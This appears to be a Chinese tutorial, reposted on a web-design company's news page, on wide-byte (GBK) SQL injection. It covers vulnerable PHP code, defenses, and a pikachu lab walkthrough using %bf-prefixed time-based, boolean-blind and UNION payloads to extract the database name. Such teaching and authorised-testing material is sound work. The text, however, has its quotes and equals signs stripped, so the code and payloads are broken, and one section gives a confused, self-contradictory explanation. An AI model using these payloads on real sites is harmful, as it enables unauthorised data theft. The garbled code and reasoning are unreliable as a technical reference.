资讯动态

Web渗透之SQL注入-宽字节注入

发布时间:2026/9/10 22:36:28 来源:尧图企业网站定制
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念1、核心原理2、简单示例3、典型场景与代码4、触发条件5、与普通注入的区别6、防御措施7、实际利用合法测试环境8、总结二、宽字节注入的典型过程1、漏洞代码分析2、攻击 Payload 与结果3、总结三、靶场注入示例1、环境确认与初步探测2、测试注入点是否存在2.1 使用延时注入初步验证2.2 布尔条件测试3、利用布尔盲注获取数据库信息3.1 获取数据库名长度3.2 逐个字符猜解数据库名4、使用联合查询直接获取数据库名一、概念宽字节注入是一种利用数据库字符集编码差异绕过转义防御如addslashes、mysql_real_escape_string的 SQL 注入技术。它主要发生在使用 GBK、GB2312、BIG5 等多字节字符集的环境中。1、核心原理当数据库连接使用SET NAMES gbk或类似的宽字节字符集时PHP 的转义函数如addslashes会在特殊字符前添加反斜杠\ASCII 0x5c。攻击者通过在输入中构造一个宽字节字符如%df与转义添加的反斜杠%5c组合成一个合法的多字节字符如%df%5c即運导致反斜杠被“吞掉”而失去转义效果从而使得原本被转义的单引号重新成为字符串结束符实现注入。2、简单示例正常输入1→ 被转义成1\→ 无法注入。宽字节注入输入1%df→ 经过转义变成1%df\→ 但%df和反斜杠%5c组成%df%5c一个合法的 GBK 字符剩下的单引号%27未被转义 → 最终 SQL 为... WHERE id1運实现了注入。3、典型场景与代码// 数据库连接设置为 GBK mysql_query(SET NAMES gbk); $name addslashes($_GET[name]); $sql SELECT * FROM users WHERE name$nam;攻击者输入name1%df or 11 --利用宽字节特性逃逸转义。4、触发条件数据库连接使用了宽字节字符集如 GBK、GB2312、BIG5、Shift_JIS。PHP 使用了转义函数如addslashes、mysql_real_escape_string但后者在设置正确字符集时可能无效。客户端提交的数据未做更严格的过滤或预处理。5、与普通注入的区别普通注入通过闭合引号、注释符绕过。宽字节注入通过构造宽字节使反斜杠失效从而让单引号“活过来”。6、防御措施使用参数化查询Prepared Statements最彻底的方法无需关心字符集。统一使用 UTF-8 字符集UTF-8 中%df%5c不是一个有效的多字节字符反斜杠不会被吞掉。设置SET NAMES utf8或使用charsetutf8。避免使用 GBK/GB2312 等宽字节编码或确保转义函数正确处理如mysql_set_charset(gbk)配合mysql_real_escape_string可防御但推荐直接上参数化查询。输入过滤过滤%df、%5c等危险字符但不如前两种可靠。7、实际利用合法测试环境在宽字节环境下探测注入http://example.com/?id1%df and 11 --如果返回内容与1 and 11类似则存在宽字节注入。8、总结宽字节注入是一种依赖于特定字符集非 UTF-8的注入技术利用转义符反斜杠与输入字符组成多字节字符从而“吃掉”反斜杠。根本防御是参数化查询其次统一使用 UTF-8 字符集。二、宽字节注入的典型过程1、漏洞代码分析mysql_query($conn, set names gbk); // 设置数据库连接为 GBK 字符集 $id $_GET[id]; $id addslashes($id); // 对输入进行转义 $sql select * from userinfo where id{$id};关键点数据库连接使用了GBK字符集。addslashes会将单引号转义为\反斜杠的 ASCII 为0x5c通常可以防止 SQL 注入。但由于 GBK 是多字节字符集某些字节与反斜杠0x5c组合会形成一个合法的中文字符导致反斜杠被“吸收”而失效。2、攻击 Payload 与结果Payloadhttp://127.0.0.1/demo3.php?id1%bf union select 1,2,3 limit 1,1 -- -执行过程用户输入1%bf。%bf是一个十六进制字节191。addslashes会在单引号前加反斜杠但这里并没有单引号注意代码中$id被拼接进 SQL 时会用单引号包裹如{$id}。传入1%bf实际字符串为1后跟一个字节0xbf。然而攻击者最终目的是要让原本的闭合单引号失效。实际注入的完整 payload 是1%bf union ...。因为在 URL 中单引号被编码为%27但为了展示图中写的是1%bf union...可能省略了单引号注意图中显示的 SQL 语句select * from userinfo where id1 union select 1,2,3 limit 1,1 -- -说明1后面确实有一个单引号。因此原始输入应该是1%bf。但图中显示的 payload 没有单引号重新看1%bf union...中%bf后面直接跟union这意味着%bf本身并不是单引号。实际上典型的宽字节注入是在单引号前加%df之类的让%df%5c合成一个汉字从而保留单引号。图中可能省略了单引号或者将%bf作为绕过转义的一部分。更准确地解释正常输入1会被转义为1\反斜杠0x5c在 GBK 中与后续字符组合。攻击者输入1%bf转义后变为1%bf\即字节序列31bf5c27。由于bf与5c组成一个有效的 GBK 字符如縗反斜杠被消耗剩下的27即为独立的单引号从而闭合了原 SQL 中的引号。然后攻击者可以追加union select ...。执行的 SQL 最终变为select * from userinfo where id1 union select 1,2,3 limit 1,1 -- -成功执行了联合查询并返回了数组[1,2,3]。3、总结宽字节注入原理利用 GBK 等字符集中某些字节与反斜杠0x5c组成多字节字符导致转义符失效。触发条件数据库连接使用SET NAMES gbk或类似宽字符集且应用程序使用转义函数如addslashes。防御方法使用参数化查询推荐或统一使用 UTF-8 字符集并避免使用不安全的转义函数。三、靶场注入示例以pikachu靶场为例1、环境确认与初步探测正常访问访问http://192.168.179.135/pikachu-master/pikachu-master/vul/sqli/sqli_widebyte.php输入用户名kobe查询返回uid3, emailkobepikachu.com。确认正常功能。确认字符集与宽字节条件查看页面源码或提示得知该模块使用 GBK 编码并且存在宽字节注入漏洞。2、测试注入点是否存在2.1 使用延时注入初步验证PayloadPOST 参数namekobe%bfor sleep(5)--%bf是宽字节字符与转义添加的反斜杠%5c组合成 GBK 汉字从而吃掉反斜杠使单引号存活。提交后页面响应明显延迟 5 秒确认存在时间盲注同时说明宽字节注入有效。2.2 布尔条件测试永真条件kobe%bfor 11--结果返回了所有用户uid 从 1 到 7 等多条记录说明条件生效。永假条件kobe%bfor 12--返回“您输入的username不存在”说明页面能区分真/假。 → 确认存在布尔盲注。3、利用布尔盲注获取数据库信息3.1 获取数据库名长度Payloadkobe%bfor length(database())7--页面正常返回多条用户数据真说明length(database()) 7成立。 若改为8则返回空从而确定数据库名长度为7。3.2 逐个字符猜解数据库名使用substr(database(),1,1)结合 ASCII 码或十六进制比较。示例猜第一个字符是否为pkobe%bfor substr(database(),1,1)0x70--0x70是字母p的十六进制。页面返回正常真说明第一个字符是p。 后续依次猜解substr(database(),2,1)等最终得到数据库名pikachu。4、使用联合查询直接获取数据库名由于联合查询需要确定列数且该模块存在回显位置用户直接使用了联合查询截图显示成功。Payloadkobe%bfunion select database(),2 limit 0,1--闭合前面的查询limit 0,1确保只返回联合查询的结果。执行后在页面上your uid处显示pikachuyour email显示2。 → 成功获取当前数据库名。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价